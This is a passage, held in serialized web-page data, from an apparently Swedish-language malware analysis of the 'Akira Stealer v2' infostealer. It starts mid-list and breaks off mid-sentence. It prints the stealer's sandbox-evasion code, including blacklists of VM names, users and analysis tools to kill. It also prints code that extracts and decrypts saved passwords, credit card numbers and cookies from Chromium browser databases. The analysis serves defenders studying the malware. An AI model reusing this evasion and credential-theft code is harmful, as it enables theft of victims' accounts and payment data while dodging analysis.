'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[551,5629,5627],{"__ignoreMap":594},[533,5631,5632],{},[540,5633,5634],{},"Blacklisted Computer Names",[588,5636,5639],{"className":5637,"code":5638,"language":593},[591],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[551,5640,5638],{"__ignoreMap":594},[533,5642,5643],{},[540,5644,5645],{},"Blacklisted User Accounts",[588,5647,5650],{"className":5648,"code":5649,"language":593},[591],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[551,5651,5649],{"__ignoreMap":594},[533,5653,5654],{},[540,5655,5656],{},"Blacklisted Analysis‐Tool Processes",[588,5658,5661],{"className":5659,"code":5660,"language":593},[591],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[551,5662,5660],{"__ignoreMap":594},[533,5664,5665],{},[540,5666,5667],{},"Core Detection Methods",[588,5669,5671],{"className":4492,"code":5670,"language":4494,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[551,5672,5673,5677,5681,5686,5690,5694,5699,5704,5709,5713,5717,5721,5725,5729,5733,5738,5743,5747,5751,5755,5760,5765,5769,5773,5777,5782,5787,5792,5797,5803,5808,5813,5818,5823,5828,5833,5839,5845,5851,5856,5861,5866,5871,5877,5882,5887,5892,5897,5902,5907,5913,5919,5925,5931,5936,5941,5947,5953,5959,5965,5970,5975,5981,5986,5991,5997,6003,6009,6014,6020,6026,6031,6037,6043,6048,6053,6058,6064],{"__ignoreMap":594},[1684,5674,5675],{"class":1686,"line":1687},[1684,5676,4985],{},[1684,5678,5679],{"class":1686,"line":2063},[1684,5680,5143],{},[1684,5682,5683],{"class":1686,"line":2069},[1684,5684,5685],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1684,5687,5688],{"class":1686,"line":2075},[1684,5689,5148],{},[1684,5691,5692],{"class":1686,"line":2396},[1684,5693,5153],{},[1684,5695,5696],{"class":1686,"line":2402},[1684,5697,5698],{},"            \"wmic csproduct get uuid\",\n",[1684,5700,5701],{"class":1686,"line":3060},[1684,5702,5703],{},"            shell=True, capture_output=True\n",[1684,5705,5706],{"class":1686,"line":3856},[1684,5707,5708],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1684,5710,5711],{"class":1686,"line":3862},[1684,5712,5173],{},[1684,5714,5715],{"class":1686,"line":4107},[1684,5716,5178],{},[1684,5718,5719],{"class":1686,"line":5033},[1684,5720,5183],{},[1684,5722,5723],{"class":1686,"line":5039},[1684,5724,3853],{"emptyLinePlaceholder":325},[1684,5726,5727],{"class":1686,"line":5045},[1684,5728,4985],{},[1684,5730,5731],{"class":1686,"line":5051},[1684,5732,5213],{},[1684,5734,5735],{"class":1686,"line":5057},[1684,5736,5737],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1684,5739,5740],{"class":1686,"line":5063},[1684,5741,5742],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1684,5744,5745],{"class":1686,"line":5069},[1684,5746,3853],{"emptyLinePlaceholder":325},[1684,5748,5749],{"class":1686,"line":5075},[1684,5750,4985],{},[1684,5752,5753],{"class":1686,"line":5081},[1684,5754,5278],{},[1684,5756,5757],{"class":1686,"line":5087},[1684,5758,5759],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1684,5761,5762],{"class":1686,"line":5093},[1684,5763,5764],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1684,5766,5767],{"class":1686,"line":5099},[1684,5768,3853],{"emptyLinePlaceholder":325},[1684,5770,5771],{"class":1686,"line":5105},[1684,5772,4985],{},[1684,5774,5775],{"class":1686,"line":5111},[1684,5776,5346],{},[1684,5778,5779],{"class":1686,"line":5117},[1684,5780,5781],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1684,5783,5785],{"class":1686,"line":5784},26,[1684,5786,5351],{},[1684,5788,5790],{"class":1686,"line":5789},27,[1684,5791,5148],{},[1684,5793,5795],{"class":1686,"line":5794},28,[1684,5796,5360],{},[1684,5798,5800],{"class":1686,"line":5799},29,[1684,5801,5802],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1684,5804,5806],{"class":1686,"line":5805},30,[1684,5807,5375],{},[1684,5809,5811],{"class":1686,"line":5810},31,[1684,5812,5173],{},[1684,5814,5816],{"class":1686,"line":5815},32,[1684,5817,5384],{},[1684,5819,5821],{"class":1686,"line":5820},33,[1684,5822,3853],{"emptyLinePlaceholder":325},[1684,5824,5826],{"class":1686,"line":5825},34,[1684,5827,4985],{},[1684,5829,5831],{"class":1686,"line":5830},35,[1684,5832,5414],{},[1684,5834,5836],{"class":1686,"line":5835},36,[1684,5837,5838],{},"    \"\"\"\n",[1684,5840,5842],{"class":1686,"line":5841},37,[1684,5843,5844],{},"    Attempt TLS to random subdomain.\n",[1684,5846,5848],{"class":1686,"line":5847},38,[1684,5849,5850],{},"    Failure → possible HTTPS interception/sandbox.\n",[1684,5852,5854],{"class":1686,"line":5853},39,[1684,5855,5838],{},[1684,5857,5859],{"class":1686,"line":5858},40,[1684,5860,5419],{},[1684,5862,5864],{"class":1686,"line":5863},41,[1684,5865,5148],{},[1684,5867,5869],{"class":1686,"line":5868},42,[1684,5870,5428],{},[1684,5872,5874],{"class":1686,"line":5873},43,[1684,5875,5876],{},"        return True\n",[1684,5878,5880],{"class":1686,"line":5879},44,[1684,5881,5173],{},[1684,5883,5885],{"class":1686,"line":5884},45,[1684,5886,5384],{},[1684,5888,5890],{"class":1686,"line":5889},46,[1684,5891,3853],{"emptyLinePlaceholder":325},[1684,5893,5895],{"class":1686,"line":5894},47,[1684,5896,4985],{},[1684,5898,5900],{"class":1686,"line":5899},48,[1684,5901,5471],{},[1684,5903,5905],{"class":1686,"line":5904},49,[1684,5906,5838],{},[1684,5908,5910],{"class":1686,"line":5909},50,[1684,5911,5912],{},"    Look for VirtualBox/VMware in:\n",[1684,5914,5916],{"class":1686,"line":5915},51,[1684,5917,5918],{},"    - Registry driver entries\n",[1684,5920,5922],{"class":1686,"line":5921},52,[1684,5923,5924],{},"    - Video card name via WMIC\n",[1684,5926,5928],{"class":1686,"line":5927},53,[1684,5929,5930],{},"    - Presence of VM-specific folders\n",[1684,5932,5934],{"class":1686,"line":5933},54,[1684,5935,5838],{},[1684,5937,5939],{"class":1686,"line":5938},55,[1684,5940,5476],{},[1684,5942,5944],{"class":1686,"line":5943},56,[1684,5945,5946],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1684,5948,5950],{"class":1686,"line":5949},57,[1684,5951,5952],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1684,5954,5956],{"class":1686,"line":5955},58,[1684,5957,5958],{},"        shell=True, capture_output=True\n",[1684,5960,5962],{"class":1686,"line":5961},59,[1684,5963,5964],{},"    )\n",[1684,5966,5968],{"class":1686,"line":5967},60,[1684,5969,5491],{},[1684,5971,5973],{"class":1686,"line":5972},61,[1684,5974,5946],{},[1684,5976,5978],{"class":1686,"line":5977},62,[1684,5979,5980],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1684,5982,5984],{"class":1686,"line":5983},63,[1684,5985,5958],{},[1684,5987,5989],{"class":1686,"line":5988},64,[1684,5990,5964],{},[1684,5992,5994],{"class":1686,"line":5993},65,[1684,5995,5996],{},"    gpu = any(\n",[1684,5998,6000],{"class":1686,"line":5999},66,[1684,6001,6002],{},"        x.lower() in subprocess.run(\n",[1684,6004,6006],{"class":1686,"line":6005},67,[1684,6007,6008],{},"            \"wmic path win32_VideoController get name\",\n",[1684,6010,6012],{"class":1686,"line":6011},68,[1684,6013,5703],{},[1684,6015,6017],{"class":1686,"line":6016},69,[1684,6018,6019],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1684,6021,6023],{"class":1686,"line":6022},70,[1684,6024,6025],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1684,6027,6029],{"class":1686,"line":6028},71,[1684,6030,5964],{},[1684,6032,6034],{"class":1686,"line":6033},72,[1684,6035,6036],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1684,6038,6040],{"class":1686,"line":6039},73,[1684,6041,6042],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1684,6044,6046],{"class":1686,"line":6045},74,[1684,6047,3853],{"emptyLinePlaceholder":325},[1684,6049,6051],{"class":1686,"line":6050},75,[1684,6052,4985],{},[1684,6054,6056],{"class":1686,"line":6055},76,[1684,6057,5565],{},[1684,6059,6061],{"class":1686,"line":6060},77,[1684,6062,6063],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1684,6065,6067],{"class":1686,"line":6066},78,[1684,6068,5570],{},[862,6070,6072],{"id":6071},"_7313-exekverings-och-avbrottslogik","7.3.13 Exekverings- och avbrottslogik",[533,6074,868],{},[2083,6076,6077,6091,6104],{},[607,6078,6079,6082,6083,6086,6087,6090],{},[540,6080,6081],{},"Initialisering:"," Inuti konstruktorn ",[551,6084,6085],{},"Akira.__init__()"," anropar skadekoden omedelbart ",[551,6088,6089],{},"VmProtect.isVM(1)"," för att utföra snabba virtualiseringskontroller med låg overhead (t.ex. hostname, användare, HTTPS-simulering).",[607,6092,6093,6096,6097,6100,6101,6103],{},[540,6094,6095],{},"Fördjupad inspektion:"," Om det inledande testet passerar anropar den ",[551,6098,6099],{},"VmProtect.isVM(2)",", vilket utlöser mer heltäckande kontroller, inklusive validering av hardware-UUID, hosting-detektering via ",[551,6102,5331],{}," och skanning av registerartefakter.",[607,6105,6106,6109,6110,6112,6113,6115],{},[540,6107,6108],{},"Avbrottsväg:"," Om någon kontroll returnerar ",[551,6111,4670],{},", vilket indikerar en virtuell miljö eller analysmiljö, kör koden ",[551,6114,4674],{}," och avslutar exekveringen innan några rutiner för datainsamling eller exfiltrering körs.",[862,6117,6119],{"id":6118},"_7314-slutsats","7.3.14 Slutsats",[533,6121,868],{},[533,6123,6124,6125,2033,6127,6129],{},"Modulen ",[551,6126,4617],{},[4630,6128,651],{}," demonstrerar ett skiktat försvar mot analys som utnyttjar både lokala systemfingeravtryck och nätverksbaserade heuristiker. Genom att förstå och instrumentera dessa precisa kontroller kan försvarare vända på steken och detektera sådan undvikande skadekod i operativa miljöer.",[714,6131,6133],{"id":6132},"_74-exfiltrering-av-webbläsardata","7.4 Exfiltrering av webbläsardata",[533,6135,720],{},[533,6137,6138,6139,558,6142,6145],{},"Ett av kärnmålen för Akira Stealer v2 är storskalig extraktion av känslig data som lagras i webbläsaren. Skadeprogrammet implementerar skräddarsydda moduler för att rikta in sig på både ",[540,6140,6141],{},"Chromium-baserade",[540,6143,6144],{},"Gecko-baserade (Firefox)"," webbläsare. Dess funktioner omfattar extraktion och dekryptering av sparade lösenord, cookies, kreditkortsuppgifter, autofyllposter och till och med sessionstoken som kan återanvändas för att helt kapa konton.",[533,6147,6148],{},[540,6149,6150],{},"1. Uppsättning av arbetsyta",[588,6152,6154],{"className":4492,"code":6153,"language":4494,"meta":594,"style":594},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[551,6155,6156,6161,6166,6171],{"__ignoreMap":594},[1684,6157,6158],{"class":1686,"line":1687},[1684,6159,6160],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1684,6162,6163],{"class":1686,"line":2063},[1684,6164,6165],{},"os.makedirs(client_dir, exist_ok=True)\n",[1684,6167,6168],{"class":1686,"line":2069},[1684,6169,6170],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1684,6172,6173],{"class":1686,"line":2075},[1684,6174,6175],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[604,6177,6178,6185,6188,6191,6194],{},[607,6179,6180,6181],{},"Skapar ett tillfälligt uppsamlingsområde under systemets temp-katalog, uppkallat efter offrets maskin (%TEMP%\\DESKTOP-",[6182,6183,6184],"hostname",{},"), vilket säkerställer att alla exfiltrerade artefakter samlas på ett ställe som enkelt kan arkiveras.",[607,6186,6187],{},"Isolerar data efter typ: sex dedikerade undermappar (Passwords, Cookies, CreditCards, History, Autofill, Wallets) förhindrar namnkonflikter och förenklar senare zippning, eftersom varje extraktionsrutin bara skriver till sin egen mapp.",[607,6189,6190],{},"Idempotent mappskapande använder exist_ok=True, så om skadeprogrammet körs igen (till exempel vid omstart eller genom persistens) kraschar det inte och skriver inte över befintlig data. Nya poster läggs helt enkelt till i samma struktur.",[607,6192,6193],{},"Möjliggör selektiv städning: när uppladdning och notifiering är klara kan tjuvprogrammet anropa Utils.clear_client_folder() för att rekursivt radera enbart sin egen arbetsyta, utan att lämna några spår kvar.",[607,6195,6196],{},"Förbereder för parallella extraktionstrådar: genom att skapa alla mål i förväg kan bakgrundstrådar som samlar in webbläsaruppgifter, cookies, autofyll, kryptoplånboksdata med mera, direkt skriva resultat utan ytterligare kontroller. Det minimerar overhead och minskar fönstret för att defensiva hookar ska upptäcka oväntad filinput/output.",[533,6198,6199],{},[540,6200,6201],{},"2. Webbläsare som stöds",[604,6203,6204,6246],{},[607,6205,6206,6208],{},[540,6207,6141],{},[604,6209,6210,6213,6216,6219,6222,6225,6228,6231,6234,6237,6240,6243],{},[607,6211,6212],{},"Google Chrome (Stable & SxS)",[607,6214,6215],{},"Microsoft Edge",[607,6217,6218],{},"Brave Browser",[607,6220,6221],{},"Opera & Opera GX",[607,6223,6224],{},"Chromium",[607,6226,6227],{},"Comodo Dragon",[607,6229,6230],{},"Epic Privacy Browser",[607,6232,6233],{},"Iridium Browser",[607,6235,6236],{},"UR Browser",[607,6238,6239],{},"Vivaldi Browser",[607,6241,6242],{},"Yandex Browser",[607,6244,6245],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[607,6247,6248,6251,6252,1113,6255,6266,6268,6269,6278,6280,6281,620,6284,6287],{},[540,6249,6250],{},"Firefox-baserade"," (via ",[551,6253,6254],{},"GeckoDriver",[604,6256,6257,6260,6263],{},[607,6258,6259],{},"Mozilla Firefox",[607,6261,6262],{},"Waterfox",[607,6264,6265],{},"Pale Moon",[698,6267],{},"Akira lokaliserar dynamiskt användarprofiler med hjälp av miljövariabler och kända katalogstrukturer:",[588,6270,6272],{"className":4492,"code":6271,"language":4494,"meta":594,"style":594},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[551,6273,6274],{"__ignoreMap":594},[1684,6275,6276],{"class":1686,"line":1687},[1684,6277,6271],{},[698,6279],{},"Den kontrollerar rekursivt tillgängliga webbläsarprofiler (t.ex. ",[551,6282,6283],{},"Default",[551,6285,6286],{},"Profile 1",", etc.) och riktar in sig på SQLite-databaser inom dessa sökvägar.",[862,6289,6291],{"id":6290},"_741-extraherade-datatyper","7.4.1 Extraherade datatyper",[533,6293,868],{},[1392,6295,4685,6296],{"style":4684},[1408,6297,6298,4685,6311,4685,6324,4685,6336,4685,6348,4685,6360,4685,6371],{},[1398,6299,4690,6300,4690,6304,4690,6308,4685],{},[1401,6301,6303],{"style":6302},"text-align: left; width: 22%;","Datatyp",[1401,6305,6307],{"style":6306},"text-align: left; width: 28%;","Källfil",[1401,6309,6310],{"style":4855},"Anteckningar",[1398,6312,4690,6313,4690,6316,4690,6321,4685],{},[1413,6314,6315],{},"Sparade lösenord",[1413,6317,6318,6320],{},[551,6319,557],{}," (Chromium)",[1413,6322,6323],{},"Dekrypteras via DPAPI eller AES-GCM (efter Chromium v80)",[1398,6325,4690,6326,4690,6329,4690,6333,4685],{"style":4711},[1413,6327,6328],{},"Cookies",[1413,6330,6331],{},[551,6332,6328],{},[1413,6334,6335],{},"Kan innehålla sessionstoken, särskilt för Google-/Facebook-konton",[1398,6337,4690,6338,4690,6341,4690,6345,4685],{},[1413,6339,6340],{},"Autofylldata",[1413,6342,6343],{},[551,6344,561],{},[1413,6346,6347],{},"Adresser, e-postadresser, telefonnummer med mera",[1398,6349,4690,6350,4690,6353,4690,6357,4685],{"style":4711},[1413,6351,6352],{},"Kreditkort",[1413,6354,6355],{},[551,6356,561],{},[1413,6358,6359],{},"Krypterat, kräver huvudnyckel",[1398,6361,4690,6362,4690,6365,4690,6368,4685],{},[1413,6363,6364],{},"Sessionstoken",[1413,6366,6367],{},"I minnet och cookies",[1413,6369,6370],{},"Omfattar Gmail, Google-konton och uppspelning av Discord OAUTH",[1398,6372,4690,6373,4690,6376,4690,6384,4685],{"style":4711},[1413,6374,6375],{},"Historik och URL:er",[1413,6377,6378,620,6381],{},[551,6379,6380],{},"History",[551,6382,6383],{},"Visited Links",[1413,6385,6386],{},"Exfiltrerades också till angriparen",[827,6388],{"className":6389},[830,831],[533,6391,6392,6395],{},[540,6393,6394],{},"3. Extraktionsmoduler","\nNär skadeprogramförfattare riktar in sig på webbläsare är deras främsta skattkistor de olika SQLite-databaser där Chrome, Firefox och deras släktingar lagrar autentiseringsuppgifter, cookies, historik och autofyllposter. astor.py sammanfogar lättviktig Python och native API:er för att metodiskt plocka ut varje del av datan, och till och med spela upp levande OAuth-sessioner, utan att lämna några spår. Nedan följer en djupgående genomgång modul för modul, ordagrant från koden.",[862,6397,6399,6400,1113],{"id":6398},"_742-lösenordsdumpare-chromiumgetpasswords","7.4.2 Lösenordsdumpare (",[551,6401,6402],{},"Chromium.GetPasswords",[533,6404,868],{},[533,6406,6407],{},"Den här modulen genomsöker systematiskt alla Chromium-baserade webbläsarprofiler för att extrahera sparade inloggningsuppgifter. Genom att rikta in sig på SQLite-databasen Login Data hämtar den användarnamn och krypterade lösenord, och använder sedan plattformens krypteringsnyckel (hämtad via DPAPI eller AES-GCM) för att dekryptera dem till klartext. Dessa autentiseringsuppgifter är mycket värdefulla för lateral rörelse efter intrånget eller kapning av konton.",[588,6409,6411],{"className":4492,"code":6410,"language":4494,"meta":594,"style":594},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[551,6412,6413,6418,6423,6428,6433,6438,6443,6448,6453,6458],{"__ignoreMap":594},[1684,6414,6415],{"class":1686,"line":1687},[1684,6416,6417],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1684,6419,6420],{"class":1686,"line":2063},[1684,6421,6422],{},"    for file in files:\n",[1684,6424,6425],{"class":1686,"line":2069},[1684,6426,6427],{},"        if file.lower() == \"login data\":\n",[1684,6429,6430],{"class":1686,"line":2075},[1684,6431,6432],{},"            # Copy DB → open → extract rows\n",[1684,6434,6435],{"class":1686,"line":2396},[1684,6436,6437],{},"            results = cursor.execute(\n",[1684,6439,6440],{"class":1686,"line":2402},[1684,6441,6442],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1684,6444,6445],{"class":1686,"line":3060},[1684,6446,6447],{},"            ).fetchall()\n",[1684,6449,6450],{"class":1686,"line":3856},[1684,6451,6452],{},"            for url, user, pwd_blob in results:\n",[1684,6454,6455],{"class":1686,"line":3862},[1684,6456,6457],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1684,6459,6460],{"class":1686,"line":4107},[1684,6461,6462],{},"                passwords.append((url, user, clear_pwd))\n",[604,6464,6465,6478,6484,6492,6509],{},[607,6466,6467,6470,6471,6473,6474,6477],{},[540,6468,6469],{},"Lokaliserar"," varje ",[551,6472,557],{},"-SQLite-databas under webbläsarens ",[551,6475,6476],{},"User Data","-mapp.",[607,6479,6480,6483],{},[540,6481,6482],{},"Kopierar"," till en temporär fil för att undvika webbläsarlås.",[607,6485,6486,973,6489,586],{},[540,6487,6488],{},"SQL-fråga",[551,6490,6491],{},"SELECT origin_url, username_value, password_value FROM logins",[607,6493,6494,6470,6497,6500,6501,6504,6505,6508],{},[540,6495,6496],{},"Dekrypterar",[551,6498,6499],{},"password_value","-blob via AES-GCM (",[551,6502,6503],{},"v10","/",[551,6506,6507],{},"v11",") eller Windows DPAPI som fallback.",[607,6510,6511,6514,6515,586],{},[540,6512,6513],{},"Skriver"," resultatet till ",[551,6516,6517],{},"Passwords/\u003CBrowserName> Passwords.txt",[862,6519,6521,6522,1113],{"id":6520},"_743-kreditkortsdumpare-chromiumgetcreditcards","7.4.3 Kreditkortsdumpare (",[551,6523,6524],{},"Chromium.GetCreditCards",[533,6526,868],{},[533,6528,6529],{},"Här kommer tjuvprogrammet åt lagrad kreditkortsdata från varje webbläsarprofils Web Data-fil. Det fokuserar på att extrahera utgångsdatum och krypterade kreditkortsnummer, som sedan dekrypteras med samma logik som lösenorden. Även om CVV-koder vanligtvis inte lagras kan den återvunna informationen ändå missbrukas för card-not-present-bedrägeri.",[588,6531,6533],{"className":4492,"code":6532,"language":4494,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[551,6534,6535,6540,6545,6550,6555,6560],{"__ignoreMap":594},[1684,6536,6537],{"class":1686,"line":1687},[1684,6538,6539],{},"results = cursor.execute(\n",[1684,6541,6542],{"class":1686,"line":2063},[1684,6543,6544],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1684,6546,6547],{"class":1686,"line":2069},[1684,6548,6549],{},").fetchall()\n",[1684,6551,6552],{"class":1686,"line":2075},[1684,6553,6554],{},"for month, year, enc_cc in results:\n",[1684,6556,6557],{"class":1686,"line":2396},[1684,6558,6559],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1684,6561,6562],{"class":1686,"line":2402},[1684,6563,6564],{},"    ccs.append((cc_number, month, year))\n",[604,6566,6567,6576,6583,6591],{},[607,6568,6569,6572,6573,6575],{},[540,6570,6571],{},"Riktar in sig"," på SQLite-lagren i ",[551,6574,561],{}," under varje profil.",[607,6577,6578,973,6580,586],{},[540,6579,6488],{},[551,6581,6582],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[607,6584,6585,3261,6587,6590],{},[540,6586,6496],{},[551,6588,6589],{},"card_number_encrypted"," på exakt samma sätt som lösenordsblobbarna.",[607,6592,6593,6596,6597,586],{},[540,6594,6595],{},"Skriver resultatet"," till ",[551,6598,6599],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[862,6601,6603,6604,1113],{"id":6602},"_744-cookie-dumpare-chromiumgetcookies","7.4.4 Cookie-dumpare (",[551,6605,6606],{},"Chromium.GetCookies",[533,6608,868],{},[533,6610,6611],{},"Cookies, särskilt sessionscookies, är förstahandsmål för kontokapning utan lösenord. Den här modulen dumpar alla cookiefiler i samtliga profiler, dekrypterar dem och samlar in väsentlig metadata som domän, namn och utgångsdatum. Tillsammans med fingerprinting kan dessa cookies användas för uppspelningsattacker mot autentiserade tjänster utan ytterligare hinder.",[588,6613,6615],{"className":4492,"code":6614,"language":4494,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[551,6616,6617,6621,6626,6630,6635,6640],{"__ignoreMap":594},[1684,6618,6619],{"class":1686,"line":1687},[1684,6620,6539],{},[1684,6622,6623],{"class":1686,"line":2063},[1684,6624,6625],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1684,6627,6628],{"class":1686,"line":2069},[1684,6629,6549],{},[1684,6631,6632],{"class":1686,"line":2075},[1684,6633,6634],{},"for host, name, path, blob, expiry in results:\n",[1684,6636,6637],{"class":1686,"line":2396},[1684,6638,6639],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1684,6641,6642],{"class":1686,"line":2402},[1684,6643,6644],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[604,6646,6647,6655,6663,6671],{},[607,6648,6649,6470,6652,6654],{},[540,6650,6651],{},"Skannar",[551,6653,6328],{},"-SQLite-databas.",[607,6656,6657,3261,6660,586],{},[540,6658,6659],{},"Väljer",[551,6661,6662],{},"host_key, name, path, encrypted_value, expires_utc",[607,6664,6665,6470,6667,6670],{},[540,6666,6496],{},[551,6668,6669],{},"encrypted_value","-blob för att avslöja den faktiska 